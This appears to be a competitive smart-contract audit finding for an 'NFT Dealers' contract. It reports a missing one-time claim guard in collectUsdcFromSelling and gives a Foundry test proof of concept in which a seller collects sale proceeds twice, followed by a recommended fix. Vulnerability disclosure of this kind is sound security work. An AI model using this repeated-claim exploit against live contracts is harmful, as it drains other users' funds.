NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Repeated Settlement Claim Allows Fund Drain (Missing One-Time Claim State)

Author Revealed upon completion

Description:
collectUsdcFromSelling(uint256 _listingId) does not mark claims as consumed. The seller for a listing can call the function multiple times because onlySeller(_listingId) remains true and there is no claimed guard/state reset for payout logic.

Impact:
Critical. If the contract has USDC liquidity (from other users/protocol flows), a seller can repeatedly drain funds beyond their legitimate proceeds.

Proof of Concept:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;
import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../../src/NFTDealers.sol";
import {MockUSDC} from "../../src/MockUSDC.sol";
contract ValidateMissedFindingsTest is Test {
NFTDealers internal nftDealers;
MockUSDC internal usdc;
address internal owner = makeAddr("owner");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
uint256 internal constant LOCK_AMOUNT = 20e6;
uint256 internal constant NFT_PRICE = 1000e6;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "ipfs://x", LOCK_AMOUNT);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(alice);
vm.prank(owner);
nftDealers.whitelistWallet(bob);
usdc.mint(alice, 5_000e6);
usdc.mint(bob, 5_000e6);
}
function _mintAndListByAlice() internal {
vm.startPrank(alice);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
nftDealers.list(1, uint32(NFT_PRICE));
vm.stopPrank();
vm.startPrank(bob);
usdc.approve(address(nftDealers), NFT_PRICE);
nftDealers.buy(1);
vm.stopPrank();
}
function testMissed_RepeatedCollectDrainsWhenLiquidityExists() public {
_mintAndListByAlice();
usdc.mint(address(nftDealers), 5_000e6);
vm.prank(alice);
nftDealers.collectUsdcFromSelling(1);
uint256 balanceAfterFirstCollect = usdc.balanceOf(alice);
vm.prank(alice);
nftDealers.collectUsdcFromSelling(1);
uint256 balanceAfterSecondCollect = usdc.balanceOf(alice);
assertGt(balanceAfterSecondCollect, balanceAfterFirstCollect, "seller can collect twice");
}
}

Recommended Mitigation:
Add explicit settlement state and one-time claim enforcement (e.g., proceedsClaimed[listingId]). Mark as claimed before transfer. Separate accounting buckets for seller proceeds and protocol fees.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!